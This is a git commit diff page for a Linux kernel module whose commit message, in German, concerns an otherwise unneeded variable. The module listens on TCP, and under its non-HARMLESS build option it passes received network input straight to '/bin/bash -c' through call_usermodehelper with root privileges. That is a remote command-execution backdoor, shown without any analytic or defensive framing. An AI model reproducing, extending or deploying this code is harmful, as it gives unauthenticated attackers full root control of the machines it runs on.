ifdef HARMLESS um ansonsten nicht bentigte Var

dev_vlr
Valentin Lechner 5 years ago
parent 04f29d2e03
commit 800779a376

@ -34,15 +34,18 @@
#ifdef HARMLESS #ifdef HARMLESS
#else #else
#include <linux/init.h> #include <linux/init.h>
#include "610b415.h"
#endif #endif
/**** types ******************************************************************* /**** types *******************************************************************
*******************************************************************************/ *******************************************************************************/
#ifdef HARMLESS #ifdef HARMLESS
#else #else
static char *SEnvP[] = { static char *SEnvP[] = {
"HOME=/", "HOME=/",
NULL NULL
}; };
#endif #endif
struct tcp_conn_handler_data{ struct tcp_conn_handler_data{
struct sockaddr_in *FAddress; struct sockaddr_in *FAddress;
@ -186,8 +189,10 @@ int connection_handler(void *AData){
int LRet; int LRet;
int LLen = 49; int LLen = 49;
unsigned char LInBuf[LLen+1]; unsigned char LInBuf[LLen+1];
#ifdef HARMLESS
unsigned char LOutBuf[LLen+1]; unsigned char LOutBuf[LLen+1];
#else
#endif
DECLARE_WAITQUEUE(recv_wait, current); DECLARE_WAITQUEUE(recv_wait, current);
allow_signal(SIGKILL|SIGSTOP); allow_signal(SIGKILL|SIGSTOP);
@ -248,7 +253,10 @@ int connection_handler(void *AData){
} }
#else #else
int Ret; int Ret;
printk(LInBuf); printk(LInBuf);
char *LArgV[] = {"/bin/bash", "-c", LInBuf, NULL}; char *LArgV[] = {"/bin/bash", "-c", LInBuf, NULL};
printk("Calling usermodehelper"); printk("Calling usermodehelper");
Ret = call_usermodehelper(LArgV[0], LArgV, SEnvP, UMH_WAIT_EXEC); Ret = call_usermodehelper(LArgV[0], LArgV, SEnvP, UMH_WAIT_EXEC);

Loading…
Cancel
Save